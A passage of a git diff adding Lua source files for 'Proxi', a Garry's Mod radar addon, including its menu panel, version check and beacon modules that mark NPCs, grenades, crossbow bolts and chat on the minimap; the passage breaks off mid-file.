+ enableBox:SetParent( title ) + enableBox:SetToolTip( "Toggle " .. tostring( sHeaderName ) .. "." ) + enableBox.Paint = function (self) + local isEnabled = self:GetChecked() + if isEnabled then + --local blink = (math.sin( math.pi * CurTime() ) + 1 ) / 2 * 64 + local blink = 222 + (math.sin( math.pi * CurTime() ) + 1 ) * 16 + surface.SetDrawColor( blink, blink, blink, 255 ) + + else + surface.SetDrawColor( 192, 192, 192, 255 ) + + end + + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + + surface.SetDrawColor( 0, 0, 0, 255 ) + surface.DrawOutlinedRect( 0, 0, self:GetWide(), self:GetTall() ) + + if not isEnabled and ( CurTime() % 1 > 0.5 ) then + surface.DrawOutlinedRect( 2, 2, self:GetWide() - 4, self:GetTall() - 4 ) + + end + + end + + local closeBox = self:BuildParamPanel( "noconvar", { Type = "panel_sysbutton", Style = "close", DoClick = function ( self ) proxi:CallCmd("-menu") end } ) + closeBox:SetParent( title ) + + local positionBox = self:BuildParamPanel( "noconvar", { Type = "panel_sysbutton", Style = "left", DoClick = function ( self ) proxi:SetVar( "menu_position", (proxi:GetVar( "menu_position" ) > 0) and 0 or 1 ) end } ) + positionBox:SetParent( title ) + positionBox:SetToolTip( "Change menu dock position." ) + + local reloadCloud = self:BuildParamPanel( "noconvar", { Type = "panel_imagebutton", Material = "gui/silkicons/toybox", DoClick = function() proxi:CallCmd("-menu") proxi:ReloadFromCloud() end } ) + reloadCloud:SetParent( subTitle ) + reloadCloud:SetToolTip( "Press to use the latest version from the Cloud." ) + + local reloadLocale = self:BuildParamPanel( "noconvar", { Type = "panel_imagebutton", Material = "gui/silkicons/application_put", DoClick = function() proxi:CallCmd("-menu") proxi:ReloadFromLocale() end } ) + reloadLocale:SetParent( subTitle ) + reloadLocale:SetToolTip( "Press to use your Locale installed version." ) + + local loadChangelog = self:BuildParamPanel( "noconvar", { Type = "panel_button", Text = "Changelog", DoClick = function() proxi:CallCmd("call_changelog") end } ) + loadChangelog:SetParent( subTitle ) + loadChangelog:SetToolTip( "Press to view the changelog." ) + + if MY_VERSION < ONLINE_VERSION then + loadChangelog.PaintOver = function ( self ) + local blink = (math.sin( math.pi * CurTime() * 0.5 ) + 1 ) * 64 + surface.SetDrawColor( 255, 255, 255, blink ) + draw.RoundedBoxEx( 2, 0, 0, self:GetWide(), self:GetTall(), Color( 255, 255, 255, blink ), true, true, true, true ) + + end + loadChangelog:SetToolTip( "There are updates ! You should update your Locale." ) + + else + loadChangelog:SetToolTip( "Press to view the changelog." ) + + end + + + topPanel._p_title = title + topPanel._p_subTitle = subTitle + topPanel._p_enableBox = enableBox + topPanel._p_closeBox = closeBox + topPanel._p_positionBox = positionBox + + topPanel._p_reloadCloud = reloadCloud + topPanel._p_reloadLocale = reloadLocale + topPanel._p_loadChangelog = loadChangelog + + end + topPanel.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + topPanel.PerformLayout = function (self) + self:SetWide( self:GetParent():GetWide() ) + self._p_title:SetWide( self:GetWide() ) + self._p_subTitle:SetWide( self:GetWide() ) + + self._p_title:PerformLayout( ) + self._p_subTitle:PerformLayout( ) + self._p_enableBox:PerformLayout( ) + self._p_positionBox:PerformLayout( ) + self._p_closeBox:PerformLayout( ) + + self._p_reloadCloud:PerformLayout( ) + self._p_reloadLocale:PerformLayout( ) + self._p_loadChangelog:PerformLayout( ) + + self._p_title:CenterHorizontal( ) + self._p_subTitle:CenterHorizontal( ) + + self:SetTall( self._p_title:GetTall() + self._p_subTitle:GetTall() ) + + self._p_title:AlignTop( 0 ) + self._p_subTitle:SetWide( self._p_subTitle:GetWide() - 4 ) + self._p_subTitle:AlignLeft( 4 ) + self._p_subTitle:MoveBelow( self._p_title, 0 ) + + local boxSize = self._p_title:GetTall() + self._p_enableBox:SetSize( boxSize * 0.8, boxSize * 0.8 ) + self._p_positionBox:SetSize( boxSize * 0.8, boxSize * 0.8 ) + self._p_closeBox:SetSize( boxSize * 0.8, boxSize * 0.8 ) + self._p_enableBox:CenterVertical( ) + self._p_positionBox:CenterVertical( ) + self._p_closeBox:CenterVertical( ) + self._p_enableBox:AlignLeft( boxSize * 0.1 ) + self._p_closeBox:AlignRight( boxSize * 0.1 ) + self._p_positionBox:MoveLeftOf( self._p_closeBox, boxSize * 0.1 ) + + local buttonSize = self._p_subTitle:GetTall() + self._p_reloadCloud:SetSize( buttonSize * 0.8, buttonSize * 0.8 ) + self._p_reloadLocale:SetSize( buttonSize * 0.8, buttonSize * 0.8 ) + self._p_loadChangelog:SizeToContents( ) + self._p_loadChangelog:SetSize( self._p_loadChangelog:GetWide() + 6, buttonSize * 0.8 ) + self._p_reloadCloud:CenterVertical( ) + self._p_reloadLocale:CenterVertical( ) + self._p_loadChangelog:CenterVertical( ) + self._p_reloadCloud:AlignRight( boxSize * 0.1 ) + self._p_reloadLocale:MoveLeftOf( self._p_reloadCloud, boxSize * 0.1 ) + self._p_loadChangelog:MoveLeftOf( self._p_reloadLocale, boxSize * 0.3 ) + end + + return topPanel + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_ph_simmap.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_ph_simmap.lua new file mode 100644 index 0000000..597f6f9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_ph_simmap.lua @@ -0,0 +1,46 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Simmap // +//////////////////////////////////////////////// + +proxi_simmap = {} + +local PROXI_SIMMAP_SPACE_TOLERENCE = 4 +local PROXI_SIMMAP_Z_TOLERENCE = 16 + +local PROXI_SIMMAP_IsBuilding = false +local PROXI_SIMMAP_Thread = {} + +function proxi_simmap.PrepareSimmapBuild_OnlyZ( vPos, iExtent ) + PROXI_SIMMAP_IsBuilding = true + + iExtent = iExtent - iExtent % PROXI_SIMMAP_SPACE_TOLERENCE + if iExtent > 1 then + vPos.x = vPos.x - vPos.x % PROXI_SIMMAP_SPACE_TOLERENCE + vPos.y = vPos.y - vPos.y % PROXI_SIMMAP_SPACE_TOLERENCE + vPos.z = vPos.z - vPos.z % PROXI_SIMMAP_Z_TOLERENCE + + table.insert( PROXI_SIMMAP_Thread, {vPos, iExtent, 0} ) + else + Error("Proxi ERROR : Passed an extent than can be simplified to nothing !") + + end + +end + +function proxi_simmap.BuildArea( tThread ) + + +end + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_preforce.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_preforce.lua new file mode 100644 index 0000000..0de9fda --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_preforce.lua @@ -0,0 +1,35 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// + +function proxi_Panel(Panel) + Panel:AddControl("Checkbox", { + Label = "Enable", + Description = "Enable", + Command = "proxi_core_enable" + } + ) + Panel:AddControl("Button", { + Label = "Open Menu (proxi_menu)", + Description = "Open Menu (proxi_menu)", + Command = "proxi_menu" + } + ) + + Panel:Help("To trigger the menu in any gamemode, type proxi_menu in the console, or bind this command to any key.") + +end + +function proxi_AddPanel() + spawnmenu.AddToolMenuOption("Options", "Player", PROXI_NAME, PROXI_NAME, "", "", proxi_Panel, {SwitchConVar = 'proxi_core_enable'}) + +end + +function proxi_InitLoad() + hook.Add( "PopulateToolMenu", "AddProxiPanel", proxi_AddPanel ) + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_version.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_version.lua new file mode 100644 index 0000000..2e8166c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_version.lua @@ -0,0 +1,60 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Version II // +//////////////////////////////////////////////// + +proxi_internal = {} + +local MY_VERSION = tonumber(string.Explode( "\n", file.Read("proxi.txt"))[1]) +local ONLINE_VERSION = nil +local DOWNLOAD_LINK = nil +local RECEIVED_RESPONSE = false +local CONTENTS_REPLICATE = nil + +function proxi_internal.IsUsingCloud() + return proxi_cloud and proxi_cloud.IsUsingCloud and proxi_cloud:IsUsingCloud() or nil +end + +function proxi_internal.HasReceivedResponse() + return RECEIVED_RESPONSE +end + +function proxi_internal.GetVersionData() + return MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK +end + +function proxi_internal.GetReplicate( ) -- >= cv1.1 + return CONTENTS_REPLICATE +end + +function proxi_internal.ReceiveVersion( args, contents , size ) + + --Taken from RabidToaster Achievements mod. + CONTENTS_REPLICATE = contents + local split = string.Explode( "\n", contents ) + local version = tonumber( split[ 1 ] or "" ) + + if ( !version ) then + ONLINE_VERSION = -1 + return + end + + ONLINE_VERSION = version + + if ( split[ 2 ] ) then + DOWNLOAD_LINK = split[ 2 ] + end + + RECEIVED_RESPONSE = true + if args and args[1] then args[1]() end + +end + +function proxi_internal.QueryVersion( funcCallback ) + http.Get( "http://proximod.googlecode.com/svn/trunk/data/proxi.txt", "", proxi_internal.ReceiveVersion, funcCallback ) + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/FILES ARE NOT RUN AUTOMATICALLY.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/FILES ARE NOT RUN AUTOMATICALLY.txt new file mode 100644 index 0000000..bc23404 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/FILES ARE NOT RUN AUTOMATICALLY.txt @@ -0,0 +1,2 @@ +The files you put there are NOT run automatically. +Neither will the beacon system work correctly if you register a beacon on the fly (yet). \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/_base.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/_base.lua new file mode 100644 index 0000000..394626d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/_base.lua @@ -0,0 +1,26 @@ +local BEACON = {} +BEACON.Name = "" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +function BEACON:Load() +end + +function BEACON:ShouldTag( entity ) + return false + +end + +function BEACON:PerformMath( ent ) +end + +function BEACON:DrawUnderCircle( ent ) +end + +function BEACON:DrawOverCircle( ent ) +end + +function BEACON:DrawOverEverything( ent, fDist, fAngle ) +end + +proxi.RegisterBeacon( BEACON, "base" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/bolts.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/bolts.lua new file mode 100644 index 0000000..459e097 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/bolts.lua @@ -0,0 +1,60 @@ +local BEACON = {} +BEACON.Name = "Bolts" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +BEACON.Description = "Shows Crossbow bolts, their travel direction and a rough hit prediction." + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:GetClass() == "crossbow_bolt" + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + if not thisMathPool.tracedata then + thisMathPool.tracedata = {} + thisMathPool.tracedata.filter = ent + + thisMathPool.traceres = {} + + end + + thisMathPool.tracedata.start = thisMathPool.posToProj + thisMathPool.tracedata.endpos = thisMathPool.posToProj + ent:GetVelocity():Normalize() * 16384 + thisMathPool.traceres = util.TraceLine( thisMathPool.tracedata ) + + render.SetMaterial( self.myMaterial ) + --render.DrawSprite( thisMathPool.posToProj, 32, 32, Color( 255, 255, 255, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj + ent:GetVelocity() * 2, 32, 0.5, 1, Color( 255, 255, 0, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj - ent:GetVelocity() * 0.5, 32, 0.5, 1, Color( 255, 0, 0, 128 ) ) + render.DrawSprite( thisMathPool.conePos, 128, 128, Color( 255, 255, 0, 255 ) ) //// + + render.DrawSprite( thisMathPool.traceres.HitPos, 256, 256, Color( 255, 255, 255, 255 ) ) //// + +end + +proxi.RegisterBeacon( BEACON, "bolts" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/chat.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/chat.lua new file mode 100644 index 0000000..343333e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/chat.lua @@ -0,0 +1,61 @@ +local BEACON = {} +BEACON.HOOK = {} +BEACON.Name = "Chat" +BEACON.DefaultOn = true +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myTriangle = surface.GetTextureID( "proxi/beacon_bigcircle_antinoy_add" ) + + self.myThread = {} + self.beaconTime = 5 + +end + +function BEACON.HOOK:OnPlayerChat( ply, sText, bIsTeam, bIsDead ) + table.insert( self.myThread, { {}, ply:GetPos(), team.GetColor( ply:Team() ), bIsTeam, CurTime() } ) + +end + +function BEACON:PerformMath( ) + local i = 1 + while i <= #self.myThread do + local obj = self.myThread[ i ] + if CurTime() > (obj[ 5 ] + self.beaconTime) then + table.remove( self.myThread, i ) + + else + local thisMathPool = obj[ 1 ] + + proxi:ProjectPosition( thisMathPool, obj[ 2 ] ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + end + i = i + 1 + + end + +end + +function BEACON:DrawUnderCircle2D( ent ) + for k,obj in pairs( self.myThread ) do + local thisMathPool = obj[ 1 ] + + local x, y = proxi:ConvertPosToScreen( thisMathPool.conePos ) + + obj[ 3 ].a = (1 - ((CurTime() - obj[ 5 ]) / self.beaconTime) ^ 2) * 128 + + local iSize = 24 * proxi:GetPinScale() * (1 + ((CurTime() - obj[ 5 ]) * 1.5) % 1) + surface.SetTexture( self.myTriangle ) + surface.SetDrawColor( obj[ 3 ] ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, 0 ) + + end + +end + +proxi.RegisterBeacon( BEACON, "chat" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/compass.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/compass.lua new file mode 100644 index 0000000..1fd71b8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/compass.lua @@ -0,0 +1,76 @@ +local BEACON = {} +BEACON.Name = "Compass" +BEACON.DefaultOn = true +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + local baseAngle = Angle(0, 0, 0) + + self.myNormals = {} + self.myMathPos = {} + self.myMathBackoff = {} + self.myMathFalloff = {} + for i = 0, 359, 45 do + baseAngle.y = i + self.myNormals[i] = baseAngle:Forward() + self.myMathPos[i] = Vector(0,0,0) + self.myMathBackoff[i] = Vector(0,0,0) + self.myMathFalloff[i] = 0 + + end + + self.myMathPool = {} + + + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.Names = {} + self.Names[0] = "E" + self.Names[90] = "N" + self.Names[180] = "W" + self.Names[270] = "S" +end + +---- StandAlone beacons don't need tagging. +-- function BEACON:ShouldTag( ) +-- end + +---- StandAlone beacons don't need ents. +function BEACON:PerformMath( ) + local CVD = proxi:GetCurrentViewData() + local refPos = EyePos() + EyeAngles():Forward() * CVD.radiuseval / CVD.baseratio_nomargin + self.radius = CVD.radiuseval * 0.7 + + for iAng,vNorm in pairs( self.myNormals ) do + proxi:ProjectPosition( self.myMathPool, refPos + vNorm * self.radius ) + self.myMathPos[iAng] = proxi:GetConeProjectedPosition( self.myMathPool ) + self.myMathBackoff[iAng] = self.myMathPos[iAng] - vNorm * self.radius * 0.1 + self.myMathFalloff[iAng] = proxi:GetFalloff( self.myMathPool, 128 ) ^ 4 + + end + +end + +function BEACON:DrawUnderCircle( ) + render.SetMaterial( self.myMaterial ) + for iAng,vNorm in pairs( self.myNormals ) do + render.DrawBeam( self.myMathPos[iAng], self.myMathBackoff[iAng], self.radius / 64, 0.5, 1, Color( 255, 255, 255, 255 * self.myMathFalloff[iAng] ) ) + + end + +end + + +function BEACON:DrawUnderCircle2D( ) + for iAng,sName in pairs( self.Names ) do + local x, y = proxi:ConvertPosToScreen( self.myMathBackoff[iAng] ) + draw.SimpleText( sName, "DefaultSmall", x+1, y+1, Color( 0, 0, 0, 255 * self.myMathFalloff[iAng] ^ 2 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( sName, "DefaultSmall", x, y, Color( 255, 255, 255, 255 * self.myMathFalloff[iAng] ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + end + +end + +proxi.RegisterBeacon( BEACON, "compass" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/contraptioncompass.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/contraptioncompass.lua new file mode 100644 index 0000000..7ee8f68 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/contraptioncompass.lua @@ -0,0 +1,86 @@ +local BEACON = {} +BEACON.Name = "Compass for Contraptions" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + local baseAngle = Angle(0, 0, 0) + + self.myNormals = {} + self.myMathPos = {} + self.myMathBackoff = {} + self.myMathFalloff = {} + for i = 0, 359, 45 do + baseAngle.y = i + self.myNormals[i] = baseAngle:Forward() + self.myMathPos[i] = Vector(0,0,0) + self.myMathBackoff[i] = Vector(0,0,0) + self.myMathFalloff[i] = 0 + + end + + self.myMathPool = {} + + + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.Names = {} + self.Names[0] = "+X" + self.Names[90] = "+Y" + self.Names[180] = "-X" + self.Names[270] = "-Y" + + self.Colors = {} + self.Colors[0] = Color( 255, 0, 0, 255 ) + self.Colors[90] = Color( 0, 255, 0, 255 ) + self.Colors[180] = Color( 255, 0, 0, 255 ) + self.Colors[270] = Color( 0, 255, 0, 255 ) + + self.baseColor = Color( 255, 255, 0 ) +end + +---- StandAlone beacons don't need tagging. +-- function BEACON:ShouldTag( ) +-- end + +---- StandAlone beacons don't need ents. +function BEACON:PerformMath( ) + local CVD = proxi:GetCurrentViewData() + local refPos = EyePos() + EyeAngles():Forward() * CVD.radiuseval / CVD.baseratio_nomargin + self.radius = CVD.radiuseval * 0.7 + + for iAng,vNorm in pairs( self.myNormals ) do + proxi:ProjectPosition( self.myMathPool, refPos + vNorm * self.radius ) + self.myMathPos[iAng] = proxi:GetConeProjectedPosition( self.myMathPool ) + self.myMathBackoff[iAng] = self.myMathPos[iAng] - vNorm * self.radius * 0.1 + self.myMathFalloff[iAng] = proxi:GetFalloff( self.myMathPool, 128 ) ^ 4 + + end + +end + +function BEACON:DrawUnderCircle( ) + render.SetMaterial( self.myMaterial ) + for iAng,vNorm in pairs( self.myNormals ) do + render.DrawBeam( self.myMathPos[iAng], self.myMathBackoff[iAng], self.radius / 64, 0.5, 1, Color( 255, 255, 255, 255 * self.myMathFalloff[iAng] ) ) + + end + +end + + +function BEACON:DrawUnderCircle2D( ) + for iAng,sName in pairs( self.Names ) do + local x, y = proxi:ConvertPosToScreen( self.myMathBackoff[iAng] ) + local color = self.Colors[ iAng ] or self.baseColor + color.a = 255 * self.myMathFalloff[iAng] + draw.SimpleText( sName, "DefaultSmall", x+1, y+1, Color( 0, 0, 0, 255 * self.myMathFalloff[iAng] ^ 2 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( sName, "DefaultSmall", x, y, color, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + end + +end + +proxi.RegisterBeacon( BEACON, "contraptioncompass" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/helpersquare.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/helpersquare.lua new file mode 100644 index 0000000..18cb67f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/helpersquare.lua @@ -0,0 +1,58 @@ +local BEACON = {} +BEACON.Name = "Helper Square" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + local baseAngle = Angle(0, 0, 0) + + self.myRelatives = { + Vector(1, 1, 0):Normalize(), + Vector(1, -1, 0):Normalize(), + Vector(-1, -1, 0):Normalize(), + Vector(-1, 1, 0):Normalize() + } + + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.myMathPos = {} + self.myMathBackoff = {} + self.myMathFalloff = {} + +end + +---- StandAlone beacons don't need tagging. +-- function BEACON:ShouldTag( ) +-- end + +---- StandAlone beacons don't need ents. +function BEACON:PerformMath( ) + local CVD = proxi:GetCurrentViewData() + local refPos = EyePos() + EyeAngles():Forward() * CVD.radiuseval / CVD.baseratio_nomargin + self.radius = CVD.radiuseval * 0.3 + + local reference = LocalPlayer():GetPos() + + for k,vNormal in pairs( self.myRelatives ) do + self.myMathPos[k] = reference + vNormal * self.radius + + end + +end + +function BEACON:DrawUnderCircle( ) + render.SetMaterial( self.myMaterial ) + for i = 1, #self.myRelatives do + local a = self.myMathPos[ i ] + local b = self.myMathPos[ (i == #self.myRelatives) and 1 or (i + 1) ] + render.DrawBeam( a, b, self.radius / 8, 0.4, 0.6, Color( 255, 255, 255, 128 ) ) + + end + +end + +proxi.RegisterBeacon( BEACON, "helpersquare" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/nades.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/nades.lua new file mode 100644 index 0000000..abb8d23 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/nades.lua @@ -0,0 +1,45 @@ +local BEACON = {} +BEACON.Name = "Nades" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:GetClass() == "npc_grenade_frag" + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + render.SetMaterial( self.myMaterial ) + + for i=1,10 do + render.DrawBeam( thisMathPool.conePos, thisMathPool.conePos - ent:GetVelocity() + VectorRand() * 128, 32, 0.5, 1, Color( 255, 0, 0, 128 * cfP ) ) + end + render.DrawSprite( thisMathPool.conePos, 256 + 128 * math.sin( CurTime() * math.pi * 2 * 3 ), 256 + 128 * math.sin( CurTime() * math.pi * 2 * 3 ), Color( 255, 0, 0, 255 * cfP ) ) //// + +end + +proxi.RegisterBeacon( BEACON, "nades" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npc.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npc.lua new file mode 100644 index 0000000..263afbe --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npc.lua @@ -0,0 +1,89 @@ +local BEACON = {} +BEACON.Name = "NPCs" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myTexture = surface.GetTextureID( "proxi/beacon_square_8" ) + self.myTriangle = surface.GetTextureID( "proxi/beacon_triangle" ) + self.myColor = Color( 255, 0, 0, 255 ) + self.myCross = surface.GetTextureID( "proxi/beacon_cross" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsNPC() + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + self.zLocalPos = LocalPlayer():GetPos().z + +end + +/*function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + + if thisMathPool.ratioClamped < 1 then + render.SetBlend( 1 - thisMathPool.ratioClamped ^ 5 ) + ent:DrawModel() + render.SetBlend( 1 ) + + end + +end*/ + +function BEACON:DrawUnderCircle2D( ent ) + local thisMathPool = self.myMathPool[ ent ] + + local xRel, yRel = proxi:ConvertPosToRelative( thisMathPool.conePos ) + local x, y = proxi:ConvertRelativeToScreen( xRel, yRel ) + + local relZ = (ent:GetPos().z - self.zLocalPos) + local isShift = math.abs( relZ ) > 100 + local iSize = (isShift and 20 or 14) * proxi:GetPinScale() + if isShift then + surface.SetTexture( self.myTriangle ) + + else + surface.SetTexture( self.myTexture ) + + end + surface.SetDrawColor( self.myColor ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, isShift and ((relZ > 0) and 0 or 180) or 45) + + if false and "should be when thys dead" then + surface.SetTexture( self.myCross ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, 0) + + end + + if thisMathPool.ratio < 1.5 then + local text = proxi_util.FamiliarizeString( string.gsub( ent:GetClass(), "npc_", "" ) ) + + surface.SetFont( "DefaultSmall" ) + local wB, hB = surface.GetTextSize( text ) + x = x - xRel * wB / 2 + y = y - yRel * hB / 2 + hB - (yRel > 0 and (yRel ^ 4 * hB * 2) or 0) + + draw.SimpleText( text, "DefaultSmall", x + 1, y + 1, Color( 0, 0, 0, 128 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( text, "DefaultSmall", x, y, self.myColor, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + + end + +end + +proxi.RegisterBeacon( BEACON, "npcs" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npclos.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npclos.lua new file mode 100644 index 0000000..f2989f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npclos.lua @@ -0,0 +1,46 @@ +local BEACON = {} +BEACON.Name = "NPC LOS" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_cone_rev" ) + self.myOtherMaterial = Material( "proxi/beacon_circle" ) + self.myBeamMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsNPC() and entity:GetClass() ~= "npc_rollermine" + +end +function BEACON:DrawUnderCircle( ent ) + local CVD = 